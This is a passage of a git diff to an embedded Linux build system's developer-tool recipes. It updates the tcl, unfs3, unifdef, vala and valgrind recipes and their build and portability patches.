-ALTERNATIVE_LINK_NAME[Thread.3] = "${mandir}/man3/Thread.3"
-
-# isn't getting picked up by shlibs code
-RDEPENDS_${PN} += "tcl-lib"
-RDEPENDS_${PN}_class-native = ""
-RDEPENDS_${PN}-ptest += "libgcc"
-
-BBCLASSEXTEND = "native nativesdk"
-
-do_compile_ptest() {
- oe_runmake tcltest
-}
-
-do_install_ptest() {
- cp ${B}/tcltest ${D}${PTEST_PATH}
- cp -r ${S}/../library ${D}${PTEST_PATH}
- cp -r ${S}/../tests ${D}${PTEST_PATH}
-}
-
-# Fix some paths that might be used by Tcl extensions
-BINCONFIG_GLOB = "*Config.sh"
-
-# Fix the path in sstate
-SSTATE_SCAN_FILES += "*Config.sh"
-
-# Cleanup host path from ${libdir}/tclConfig.sh and remove the
-# ${bindir_crossscripts}/tclConfig.sh from target
-PACKAGE_PREPROCESS_FUNCS += "tcl_package_preprocess"
-tcl_package_preprocess() {
- sed -i -e "s;${DEBUG_PREFIX_MAP};;g" \
- -e "s;-L${STAGING_LIBDIR};-L${libdir};g" \
- -e "s;${STAGING_INCDIR};${includedir};g" \
- -e "s;--sysroot=${RECIPE_SYSROOT};;g" \
- ${PKGD}${libdir}/tclConfig.sh
-
- rm -f ${PKGD}${bindir_crossscripts}/tclConfig.sh
-}
diff --git a/meta/recipes-devtools/tcltk/tcl_8.6.11.bb b/meta/recipes-devtools/tcltk/tcl_8.6.11.bb
new file mode 100644
index 0000000000..cb9e486698
--- /dev/null
+++ b/meta/recipes-devtools/tcltk/tcl_8.6.11.bb
@@ -0,0 +1,103 @@
+SUMMARY = "Tool Command Language"
+HOMEPAGE = "http://tcl.sourceforge.net"
+DESCRIPTION = "Tool Command Language, is an open-source multi-purpose C library which includes a powerful dynamic scripting language. Together they provide ideal cross-platform development environment for any programming project."
+SECTION = "devel/tcltk"
+
+# http://www.tcl.tk/software/tcltk/license.html
+LICENSE = "tcl & BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://compat/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://library/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://macosx/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://tests/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+ file://win/license.terms;md5=058f6229798281bbcac4239c788cfa38 \
+"
+
+DEPENDS = "tcl-native zlib"
+
+BASE_SRC_URI = "${SOURCEFORGE_MIRROR}/tcl/tcl-core${PV}-src.tar.gz \
+ file://tcl-add-soname.patch"
+SRC_URI = "${BASE_SRC_URI} \
+ file://fix_non_native_build_issue.patch \
+ file://fix_issue_with_old_distro_glibc.patch \
+ file://tcl-remove-hardcoded-install-path.patch \
+ file://alter-includedir.patch \
+ file://interp.patch \
+ file://run-ptest \
+"
+SRC_URI[sha256sum] = "cfb49aab82bd179651e23eeeb69606f51b0ddc575ca55c3d35e2457469024cfa"
+
+SRC_URI:class-native = "${BASE_SRC_URI}"
+
+# Upstream don't believe this is an exploitable issue
+# https://core.tcl-lang.org/tcl/info/7079e4f91601e9c7
+CVE_CHECK_WHITELIST += "CVE-2021-35331"
+
+UPSTREAM_CHECK_REGEX = "tcl(?P<pver>\d+(\.\d+)+)-src"
+
+S = "${WORKDIR}/${BPN}${PV}"
+
+VER = "${PV}"
+
+inherit autotools ptest binconfig
+
+AUTOTOOLS_SCRIPT_PATH = "${S}/unix"
+EXTRA_OECONF = "--enable-threads --disable-rpath --enable-man-suffix"
+
+do_install() {
+ autotools_do_install
+ oe_runmake 'DESTDIR=${D}' install-private-headers
+ ln -sf ./tclsh${VER} ${D}${bindir}/tclsh
+ ln -sf tclsh8.6 ${D}${bindir}/tclsh${VER}
+ sed -i "s;-L${B};-L${STAGING_LIBDIR};g" tclConfig.sh
+ sed -i "s;'${WORKDIR};'${STAGING_INCDIR};g" tclConfig.sh
+ install -d ${D}${bindir_crossscripts}
+ install -m 0755 tclConfig.sh ${D}${bindir_crossscripts}
+ install -m 0755 tclConfig.sh ${D}${libdir}
+ for dir in compat generic unix; do
+ install -d ${D}${includedir}/${BPN}${VER}/$dir
+ install -m 0644 ${S}/$dir/*.h ${D}${includedir}/${BPN}${VER}/$dir/
+ done
+}
+
+SYSROOT_DIRS += "${bindir_crossscripts}"
+
+PACKAGES =+ "tcl-lib"
+FILES:tcl-lib = "${libdir}/libtcl8.6.so.*"
+FILES:${PN} += "${libdir}/tcl${VER} ${libdir}/tcl8.6 ${libdir}/tcl8"
+FILES:${PN}-dev += "${libdir}/tclConfig.sh ${libdir}/tclooConfig.sh"
+
+# isn't getting picked up by shlibs code
+RDEPENDS:${PN} += "tcl-lib"
+RDEPENDS:${PN}-ptest += "libgcc"
+
+BBCLASSEXTEND = "native nativesdk"
+
+do_compile_ptest() {
+ oe_runmake tcltest
+}
+
+do_install_ptest() {
+ cp ${B}/tcltest ${D}${PTEST_PATH}
+ cp -r ${S}/library ${D}${PTEST_PATH}
+ cp -r ${S}/tests ${D}${PTEST_PATH}
+}
+
+# Fix some paths that might be used by Tcl extensions
+BINCONFIG_GLOB = "*Config.sh"
+
+# Fix the path in sstate
+SSTATE_SCAN_FILES += "*Config.sh"
+
+# Cleanup host path from ${libdir}/tclConfig.sh and remove the
+# ${bindir_crossscripts}/tclConfig.sh from target
+PACKAGE_PREPROCESS_FUNCS += "tcl_package_preprocess"
+tcl_package_preprocess() {
+ sed -i -e "s;${DEBUG_PREFIX_MAP};;g" \
+ -e "s;-L${STAGING_LIBDIR};-L${libdir};g" \
+ -e "s;${STAGING_INCDIR};${includedir};g" \
+ -e "s;--sysroot=${RECIPE_SYSROOT};;g" \
+ ${PKGD}${libdir}/tclConfig.sh
+
+ rm -f ${PKGD}${bindir_crossscripts}/tclConfig.sh
+}
diff --git a/meta/recipes-devtools/unfs3/unfs3/no-yywrap.patch b/meta/recipes-devtools/unfs3/unfs3/no-yywrap.patch
new file mode 100644
index 0000000000..e3496814d8
--- /dev/null
+++ b/meta/recipes-devtools/unfs3/unfs3/no-yywrap.patch
@@ -0,0 +1,14 @@
+Upstream-Status: Backport [https://github.com/unfs3/unfs3/commit/3fa0568e6ef96e045286afe18444bc28fe93962b]
+
+diff --git a/Config/exports.l b/Config/exports.l
+index 662603c..7e7c4fc 100644
+--- a/Config/exports.l
++++ b/Config/exports.l
+@@ -50,6 +50,7 @@ OLDNET {IP}"/"{IP}
+
+ %option nounput
+ %option noinput
++%option noyywrap
+
+ %%
+
diff --git a/meta/recipes-devtools/unfs3/unfs3_git.bb b/meta/recipes-devtools/unfs3/unfs3_git.bb
index d60cee87c9..7a5d273851 100644
--- a/meta/recipes-devtools/unfs3/unfs3_git.bb
+++ b/meta/recipes-devtools/unfs3/unfs3_git.bb
@@ -2,18 +2,19 @@ SUMMARY = "Userspace NFS server v3 protocol"
DESCRIPTION = "UNFS3 is a user-space implementation of the NFSv3 server \
specification. It provides a daemon for the MOUNT and NFS protocols, which \
are used by NFS clients for accessing files on the server."
+HOMEPAGE = "https://github.com/unfs3/unfs3"
SECTION = "console/network"
LICENSE = "unfs3"
LIC_FILES_CHKSUM = "file://LICENSE;md5=9475885294e17c0cc0067820d042792e"
DEPENDS = "flex-native bison-native flex"
DEPENDS += "libtirpc"
-DEPENDS_append_class-nativesdk = " flex-nativesdk"
+DEPENDS:append:class-nativesdk = " flex-nativesdk"
ASNEEDED = ""
S = "${WORKDIR}/git"
-SRC_URI = "git://github.com/unfs3/unfs3.git;protocol=https \
+SRC_URI = "git://github.com/unfs3/unfs3.git;protocol=https;branch=master \
file://unfs3_parallel_build.patch \
file://alternate_rpc_ports.patch \
file://fix_pid_race_parent_writes_child_pid.patch \
@@ -24,6 +25,7 @@ SRC_URI = "git://github.com/unfs3/unfs3.git;protocol=https \
file://0001-daemon.c-Libtirpc-porting-fixes.patch \
file://0001-attr-fix-utime-for-symlink.patch \
file://0001-Add-listen-action-for-a-tcp-socket.patch \
+ file://no-yywrap.patch \
"
SRCREV = "c12a5c69a8d59be6916cbd0e0f41c159f1962425"
UPSTREAM_CHECK_GITTAGREGEX = "unfs3\-(?P<pver>.+)"
@@ -33,9 +35,9 @@ PV = "0.9.22+${SRCPV}"
BBCLASSEXTEND = "native nativesdk"
inherit autotools
-EXTRA_OECONF_append_class-native = " --sbindir=${bindir}"
-CFLAGS_append = " -I${STAGING_INCDIR}/tirpc"
-LDFLAGS_append = " -ltirpc"
+EXTRA_OECONF:append:class-native = " --sbindir=${bindir}"
+CFLAGS:append = " -I${STAGING_INCDIR}/tirpc"
+EXTRA_OECONF:append = " LIBS=-ltirpc"
# Turn off these header detects else the inode search
# will walk entire file systems and this is a real problem
diff --git a/meta/recipes-devtools/unifdef/unifdef_2.12.bb b/meta/recipes-devtools/unifdef/unifdef_2.12.bb
index 22b10ba234..b42051b8b6 100644
--- a/meta/recipes-devtools/unifdef/unifdef_2.12.bb
+++ b/meta/recipes-devtools/unifdef/unifdef_2.12.bb
@@ -2,6 +2,7 @@ SUMMARY = "Selectively remove #ifdef statements from sources"
SECTION = "devel"
LICENSE = "BSD-2-Clause"
HOMEPAGE = "http://dotat.at/prog/unifdef/"
+DESCRIPTION = "The unifdef utility selectively processes conditional C preprocessor #if and #ifdef directives. It removes from a file both the directives and the additional text that they delimit, while otherwise leaving the file alone."
LIC_FILES_CHKSUM = "file://COPYING;md5=3498caf346f6b77934882101749ada23 \
file://unifdef.c;endline=32;md5=6f4ee8085d6e6ab0f7cb4390e1a9c497 \
diff --git a/meta/recipes-devtools/vala/vala.inc b/meta/recipes-devtools/vala/vala.inc
index 703ed1aa8d..1a1115739d 100644
--- a/meta/recipes-devtools/vala/vala.inc
+++ b/meta/recipes-devtools/vala/vala.inc
@@ -1,4 +1,5 @@
SUMMARY = "C#-like programming language for easing GObject programming"
+HOMEPAGE = "http://vala-project.org"
DESCRIPTION = "Vala is a C#-like language dedicated to ease GObject programming. \
Vala compiles to plain C and has no runtime environment nor penalities whatsoever."
SECTION = "devel"
@@ -7,12 +8,11 @@ DEPENDS = "bison-native flex-native glib-2.0"
# Appending libxslt-native to dependencies has an effect
# of rebuilding the manual, which is very slow. Let's do this
# only when api-documentation distro feature is enabled.
-DEPENDS_append_class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'libxslt-native', '', d)}"
+DEPENDS:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'libxslt-native', '', d)}"
# vala-native contains a native version of vapigen, which we use instead of the target one
-DEPENDS_append_class-target = " vala-native"
+DEPENDS:append:class-target = " vala-native"
BBCLASSEXTEND = "native"
-HOMEPAGE = "http://vala-project.org"
LICENSE = "LGPLv2.1"
LIC_FILES_CHKSUM = "file://COPYING;md5=fbc093901857fcd118f065f900982c24"
@@ -21,13 +21,13 @@ SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
SRC_URI = "http://ftp.gnome.org/pub/GNOME/sources/${BPN}/${SHRT_VER}/${BP}.tar.xz"
inherit autotools pkgconfig upstream-version-is-even
-FILES_${PN} += "${datadir}/${BPN}-${SHRT_VER}/vapi ${libdir}/${BPN}-${SHRT_VER}/"
-FILES_${PN}-doc += "${datadir}/devhelp"
+FILES:${PN} += "${datadir}/${BPN}-${SHRT_VER}/vapi ${libdir}/${BPN}-${SHRT_VER}/"
+FILES:${PN}-doc += "${datadir}/devhelp"
# .gir files from gobject-introspection are installed to ${libdir} when multilib is enabled
GIRDIR_OPT = "${@'--girdir=${STAGING_LIBDIR}/gir-1.0' if d.getVar('MULTILIBS') else ''}"
-do_configure_prepend_class-target() {
+do_configure:prepend:class-target() {
# Write out a vapigen wrapper that will be provided by pkg-config file installed in target sysroot
# The wrapper will call a native vapigen
cat > ${B}/vapigen-wrapper << EOF
@@ -41,16 +41,16 @@ EXTRA_OECONF += " --disable-valadoc"
# Vapigen wrapper needs to be available system-wide, because it will be used
# to build vapi files from all other packages with vala support
-do_install_append_class-target() {
+do_install:append:class-target() {
install -d ${D}${bindir}/
install ${B}/vapigen-wrapper ${D}${bindir}/
}
# Put vapigen wrapper into target sysroot so that it can be used when building
# vapi files.
-SYSROOT_DIRS_append_class-target = " ${bindir}"
+SYSROOT_DIRS:append:class-target = " ${bindir}"
-SYSROOT_PREPROCESS_FUNCS_append_class-target = " vapigen_sysroot_preprocess"
+SYSROOT_PREPROCESS_FUNCS:append:class-target = " vapigen_sysroot_preprocess"
vapigen_sysroot_preprocess() {
# Tweak the vapigen name in the vapigen pkgconfig file, so that it picks
# up our wrapper.
diff --git a/meta/recipes-devtools/vala/vala/0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch b/meta/recipes-devtools/vala/vala/0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch
index ecab0fc1c9..2aaf2ab94e 100644
--- a/meta/recipes-devtools/vala/vala/0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch
+++ b/meta/recipes-devtools/vala/vala/0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch
@@ -6,7 +6,7 @@ Subject: [PATCH] vapigen.m4: use $PKG_CONFIG_SYSROOT_DIR
This is necessary in cross-compiling environments, where directories
returned by pkg-config should be prefixed with sysroot location.
-Upstream-Status: Pending [review in oe-core list]
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/vala/-/merge_requests/218]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
---
vapigen/vapigen.m4 | 8 ++++----
diff --git a/meta/recipes-devtools/vala/vala_0.50.1.bb b/meta/recipes-devtools/vala/vala_0.50.1.bb
deleted file mode 100644
index cca7eef523..0000000000
--- a/meta/recipes-devtools/vala/vala_0.50.1.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-require ${BPN}.inc
-
-SRC_URI += " file://0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch"
-
-SRC_URI[sha256sum] = "958d9f06c9c3d7d1b2145512a9bc2a7c6aefbbf0416a04c7a0ecf463f7138f6c"
diff --git a/meta/recipes-devtools/vala/vala_0.54.4.bb b/meta/recipes-devtools/vala/vala_0.54.4.bb
new file mode 100644
index 0000000000..695f64e336
--- /dev/null
+++ b/meta/recipes-devtools/vala/vala_0.54.4.bb
@@ -0,0 +1,5 @@
+require ${BPN}.inc
+
+SRC_URI += " file://0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch"
+
+SRC_URI[sha256sum] = "6051270a2fc30de023c88562566f2f6043e67beb4da4b799c14cdf12048eb40c"
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch b/meta/recipes-devtools/valgrind/valgrind/0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch
deleted file mode 100644
index a78e1953ff..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 9762fd23e1f1db66d4b977c694a17d3bca3fe99a Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 8 Jan 2016 16:36:29 +0200
-Subject: [PATCH] Remove tests that fail to build on some PPC32 configurations
-
-Failures are documented here:
-http://errors.yoctoproject.org/Errors/Search/?items=10&query=862d702fbb99e484631315aa44b9e46f8fc567da&filter=valgrind&type=recipe
-
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-Upstream-Status: Pending
----
- memcheck/tests/ppc32/Makefile.am | 2 +-
- none/tests/ppc32/Makefile.am | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/memcheck/tests/ppc32/Makefile.am b/memcheck/tests/ppc32/Makefile.am
-index 26b95a2..8f05743 100644
---- a/memcheck/tests/ppc32/Makefile.am
-+++ b/memcheck/tests/ppc32/Makefile.am
-@@ -10,7 +10,7 @@ EXTRA_DIST = $(noinst_SCRIPTS) \
- power_ISA2_07.stderr.exp power_ISA2_07.vgtest
-
- check_PROGRAMS = \
-- power_ISA2_05 power_ISA2_07
-+ power_ISA2_07
-
- power_ISA2_05_CFLAGS = $(AM_CFLAGS) $(WERROR) -Winline -Wall -Wshadow -g \
- -I$(top_srcdir)/include @FLAG_M32@
-diff --git a/none/tests/ppc32/Makefile.am b/none/tests/ppc32/Makefile.am
-index 196239e..0fe3425 100644
---- a/none/tests/ppc32/Makefile.am
-+++ b/none/tests/ppc32/Makefile.am
-@@ -50,13 +50,13 @@ EXTRA_DIST = \
-
- check_PROGRAMS = \
- allexec \
-- lsw jm-insns round \
-+ lsw \
- test_isa_2_06_part1 test_isa_2_06_part2 test_isa_2_06_part3 \
- test_dfp1 test_dfp2 test_dfp3 test_dfp4 test_dfp5 \
- test_isa_2_07_part1 test_isa_2_07_part2 \
- test_tm test_touch_tm ldst_multiple data-cache-instructions \
- test_fx test_gx \
-- testVMX twi tw xlc_dbl_u32 power5+_round power6_bcmp \
-+ twi tw xlc_dbl_u32 power6_bcmp \
- bug129390-ppc32 bug139050-ppc32 \
- ldstrev mftocrf mcrfs
-
---
-2.6.4
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-drd-Port-to-Fedora-33.patch b/meta/recipes-devtools/valgrind/valgrind/0001-drd-Port-to-Fedora-33.patch
deleted file mode 100644
index 37f6ea667d..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0001-drd-Port-to-Fedora-33.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From 15330adf7c2471fbaa6a0818db07078d81dbff97 Mon Sep 17 00:00:00 2001
-From: Bart Van Assche <bvanassche@acm.org>
-Date: Sat, 19 Sep 2020 08:08:59 -0700
-Subject: [PATCH] drd: Port to Fedora 33
-
-Apparently on Fedora 33 the POSIX thread functions exist in both libc and
-libpthread. Hence this patch that intercepts the pthread functions in
-libc. See also https://bugs.kde.org/show_bug.cgi?id=426144 .
-
-Signed-off-by: Bart Van Assche <bvanassche@acm.org>
-
-This patch was imported from the valgrind sourceware server
-(https://sourceware.org/git/?p=valgrind.git;a=commit;h=15330adf7c2471fbaa6a0818db07078d81dbff97)
-It was modified to remove the changes to the valgrind NEWS file,
-as these are difficult to maintain and don't impact the valgrind
-code itself.
-
-Upstream-Status: Backport
-
-Signed-off-by: Stacy Gaikovaia <stacy.gaikovaia@windriver.com>
----
- drd/drd_pthread_intercepts.c | 9 +++++++++
- 1 file changed, 10 insertions(+)
-
-diff --git a/drd/drd_pthread_intercepts.c b/drd/drd_pthread_intercepts.c
-index 58c45aaec..c2882e5ab 100644
---- a/drd/drd_pthread_intercepts.c
-+++ b/drd/drd_pthread_intercepts.c
-@@ -174,7 +174,16 @@ static int never_true;
- ret_ty VG_WRAP_FUNCTION_ZZ(VG_Z_LIBC_SONAME,zf) argl_decl \
- { return implf argl; }
- #else
-+/*
-+ * On Linux, intercept both the libc and the libpthread functions. At
-+ * least glibc 2.32.9000 (Fedora 34) has an implementation of all pthread
-+ * functions in both libc and libpthread. Older glibc versions only have an
-+ * implementation of the pthread functions in libpthread.
-+ */
- #define PTH_FUNC(ret_ty, zf, implf, argl_decl, argl) \
-+ ret_ty VG_WRAP_FUNCTION_ZZ(VG_Z_LIBC_SONAME,zf) argl_decl; \
-+ ret_ty VG_WRAP_FUNCTION_ZZ(VG_Z_LIBC_SONAME,zf) argl_decl \
-+ { return implf argl; } \
- ret_ty VG_WRAP_FUNCTION_ZZ(VG_Z_LIBPTHREAD_SONAME,zf) argl_decl; \
- ret_ty VG_WRAP_FUNCTION_ZZ(VG_Z_LIBPTHREAD_SONAME,zf) argl_decl \
- { return implf argl; }
---
-2.25.1
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-drd-musl-fix.patch b/meta/recipes-devtools/valgrind/valgrind/0001-drd-musl-fix.patch
deleted file mode 100644
index e96bf3c611..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0001-drd-musl-fix.patch
+++ /dev/null
@@ -1,31 +0,0 @@
-The changes in 0001-drd-Port-to-Fedora-33.patch break builds on musl. These
-need a __GLIBC__ guard to ensure musl builds continue to work.
-
-Upstream-Status: Pending
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
-Index: valgrind-3.16.1/drd/drd_pthread_intercepts.c
-===================================================================
---- valgrind-3.16.1.orig/drd/drd_pthread_intercepts.c
-+++ valgrind-3.16.1/drd/drd_pthread_intercepts.c
-@@ -180,6 +180,7 @@ static int never_true;
- * functions in both libc and libpthread. Older glibc versions only have an
- * implementation of the pthread functions in libpthread.
- */
-+#ifdef __GLIBC__
- #define PTH_FUNC(ret_ty, zf, implf, argl_decl, argl) \
- ret_ty VG_WRAP_FUNCTION_ZZ(VG_Z_LIBC_SONAME,zf) argl_decl; \
- ret_ty VG_WRAP_FUNCTION_ZZ(VG_Z_LIBC_SONAME,zf) argl_decl \
-@@ -187,6 +188,12 @@ static int never_true;
- ret_ty VG_WRAP_FUNCTION_ZZ(VG_Z_LIBPTHREAD_SONAME,zf) argl_decl; \
- ret_ty VG_WRAP_FUNCTION_ZZ(VG_Z_LIBPTHREAD_SONAME,zf) argl_decl \
- { return implf argl; }
-+#else
-+#define PTH_FUNC(ret_ty, zf, implf, argl_decl, argl) \
-+ ret_ty VG_WRAP_FUNCTION_ZZ(VG_Z_LIBPTHREAD_SONAME,zf) argl_decl; \
-+ ret_ty VG_WRAP_FUNCTION_ZZ(VG_Z_LIBPTHREAD_SONAME,zf) argl_decl \
-+ { return implf argl; }
-+#endif
- #endif
-
- /**
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-helgrind-Intercept-libc-functions.patch b/meta/recipes-devtools/valgrind/valgrind/0001-helgrind-Intercept-libc-functions.patch
deleted file mode 100644
index f66df3d2d2..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0001-helgrind-Intercept-libc-functions.patch
+++ /dev/null
@@ -1,54 +0,0 @@
-From cdec010444df5a4328e90d07a2024fdeefcc74b5 Mon Sep 17 00:00:00 2001
-From: Paul Floyd <paulf@free.fr>
-Date: Wed, 18 Nov 2020 12:49:20 -0400
-Subject: [PATCH] helgrind: Intercept libc functions
-
-PTH_FUNC definition needs to be modified in order to
-intercept posix thread functions in both libc and
-libpthread. In order to handle this in helgrind, weak alias
-the pthread functions in glibc.
-
-Upstream-Status: Submitted
-
-Signed-off-by: Paul Floyd <paulf@free.fr>
-Signed-off-by: Stacy Gaikovaia <stacy.gaikovaia@windriver.com>
----
- helgrind/hg_intercepts.c | 12 ++++++++++++
- 1 file changed, 12 insertions(+)
-
-diff --git a/helgrind/hg_intercepts.c b/helgrind/hg_intercepts.c
-index a10c3a4a3..316140ca6 100644
---- a/helgrind/hg_intercepts.c
-+++ b/helgrind/hg_intercepts.c
-@@ -77,6 +77,11 @@
- /*--- ---*/
- /*----------------------------------------------------------------*/
-
-+#define hg_expand(tok) #tok
-+#define hg_str(tok) hg_expand(tok)
-+# define hg_weak_alias(name, aliasname) \
-+ extern __typeof (name) aliasname __attribute__ ((weak, alias(hg_str(name))))
-+
- #if defined(VGO_solaris)
- /* On Solaris, libpthread is just a filter library on top of libc.
- * Threading and synchronization functions in runtime linker are not
-@@ -91,9 +96,16 @@
- #define CREQ_PTHREAD_T Word
- #define SEM_ERROR ret
- #else
-+#ifdef MUSL_LIBC
-+#define PTH_FUNC(ret_ty, f, args...) \
-+ ret_ty I_WRAP_SONAME_FNNAME_ZZ(VG_Z_LIBPTHREAD_SONAME,f)(args); \
-+ ret_ty I_WRAP_SONAME_FNNAME_ZZ(VG_Z_LIBPTHREAD_SONAME,f)(args)
-+#else
- #define PTH_FUNC(ret_ty, f, args...) \
- ret_ty I_WRAP_SONAME_FNNAME_ZZ(VG_Z_LIBPTHREAD_SONAME,f)(args); \
-+ hg_weak_alias(I_WRAP_SONAME_FNNAME_ZZ(VG_Z_LIBPTHREAD_SONAME,f), I_WRAP_SONAME_FNNAME_ZZ(VG_Z_LIBC_SONAME,f)); \
- ret_ty I_WRAP_SONAME_FNNAME_ZZ(VG_Z_LIBPTHREAD_SONAME,f)(args)
-+#endif
- #define CREQ_PTHREAD_T pthread_t
- #define SEM_ERROR errno
- #endif /* VGO_solaris */
---
-2.17.1
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch b/meta/recipes-devtools/valgrind/valgrind/0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch
index d641998d72..e421ac6c80 100644
--- a/meta/recipes-devtools/valgrind/valgrind/0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/0001-none-tests-fdleak_cmsg.stderr.exp-adjust-tmp-paths.patch
@@ -19,7 +19,7 @@ index 6e5a797b9..0ede1ab18 100644
@@ -25,10 +25,10 @@ Open file descriptor ...: /dev/null
- FILE DESCRIPTORS: 6 open at exit.
+ FILE DESCRIPTORS: 6 open (3 std) at exit.
-Open file descriptor ...: /tmp/data2
+Open file descriptor ...: ...
...
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch b/meta/recipes-devtools/valgrind/valgrind/0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch
index 185b8f9e60..8f771ed0bd 100644
--- a/meta/recipes-devtools/valgrind/valgrind/0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/0001-str_tester.c-Limit-rawmemchr-test-to-glibc.patch
@@ -1,4 +1,4 @@
-From de692e359801a1f0488c76267e4f904dd2efe754 Mon Sep 17 00:00:00 2001
+From 568224da7e647d00abf14a7160997689d9745c89 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 10 Jun 2017 00:39:07 -0700
Subject: [PATCH] str_tester.c: Limit rawmemchr() test to glibc
@@ -6,34 +6,30 @@ Subject: [PATCH] str_tester.c: Limit rawmemchr() test to glibc
rawmemchr() is a GNU extention therefore mark it so
Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
Upstream-Status: Pending
-
+---
memcheck/tests/str_tester.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/memcheck/tests/str_tester.c b/memcheck/tests/str_tester.c
-index 9f7790a..47e4b4a 100644
+index 7c2ff1e..8b82ced 100644
--- a/memcheck/tests/str_tester.c
+++ b/memcheck/tests/str_tester.c
@@ -504,7 +504,7 @@ test_strchrnul (void)
#endif
// DDD: better done by testing for the function.
--#if !defined(__APPLE__) && !defined(__sun)
-+#if !defined(__APPLE__) && !defined(__sun) && defined(__GLIBC__)
+-#if !defined(__APPLE__) && !defined(__sun) && !defined(__FreeBSD__)
++#if !defined(__APPLE__) && !defined(__sun) && !defined(__FreeBSD__) && defined(__GLIBC__)
static void
test_rawmemchr (void)
{
-@@ -1442,7 +1442,7 @@ main (void)
+@@ -1451,7 +1451,7 @@ main (void)
test_strchrnul ();
# endif
--# if !defined(__APPLE__) && !defined(__sun)
-+# if !defined(__APPLE__) && !defined(__sun) && defined(__GLIBC__)
+-# if !defined(__APPLE__) && !defined(__sun) && !defined(__FreeBSD__)
++# if !defined(__APPLE__) && !defined(__sun) && !defined(__FreeBSD__) && defined(__GLIBC__)
/* rawmemchr. */
test_rawmemchr ();
# endif
---
-2.13.1
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0002-context-APIs-are-not-available-on-musl.patch b/meta/recipes-devtools/valgrind/valgrind/0002-context-APIs-are-not-available-on-musl.patch
index 480fe33247..7f0e38cb95 100644
--- a/meta/recipes-devtools/valgrind/valgrind/0002-context-APIs-are-not-available-on-musl.patch
+++ b/meta/recipes-devtools/valgrind/valgrind/0002-context-APIs-are-not-available-on-musl.patch
@@ -1,18 +1,58 @@
-From bd4e926e7e14747b3cd4d7b2a1bd5410b22f3ea2 Mon Sep 17 00:00:00 2001
+From 26c104adf6c5162572b7aa2fac89d0835b7f8f0b Mon Sep 17 00:00:00 2001
From: Randy MacLeod <Randy.MacLeod@windriver.com>
Date: Tue, 16 Oct 2018 21:27:46 -0400
Subject: [PATCH] context APIs are not available on musl
-Upstream-Status: Pending
-
Updated patch for valgrind-3.14
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com>
+
+Apply same patch to drd/tests/swapcontext.c
+for valgrind-3.17.
+
+Upstream-Status: Submitted [https://bugs.kde.org/show_bug.cgi?id=434775]
+
+Signed-off-by: Yi Fan Yu <yifan.yu@windriver.com>
---
+ drd/tests/swapcontext.c | 6 ++++++
memcheck/tests/linux/stack_changes.c | 7 ++++++-
- 1 file changed, 6 insertions(+), 1 deletion(-)
+ 2 files changed, 12 insertions(+), 1 deletion(-)
+diff --git a/drd/tests/swapcontext.c b/drd/tests/swapcontext.c
+index 622c70bc5..5e72bb0f3 100644
+--- a/drd/tests/swapcontext.c
++++ b/drd/tests/swapcontext.c
+@@ -20,6 +20,7 @@
+
+ #define STACKSIZE (PTHREAD_STACK_MIN + 4096)
+
++#ifdef __GLIBC__
+ typedef struct thread_local {
+ ucontext_t uc[3];
+ size_t nrsw;
+@@ -67,9 +68,11 @@ void *worker(void *data)
+ swapcontext(&tlocal->uc[0], &tlocal->uc[1]);
+ return NULL;
+ }
++#endif
+
+ int main(int argc, char *argv[])
+ {
++#ifdef __GLIBC__
+ enum { NR = 32 };
+ thread_local_t tlocal[NR];
+ pthread_t thread[NR];
+@@ -94,6 +97,9 @@ int main(int argc, char *argv[])
+
+ for (i = 0; i < NR; i++)
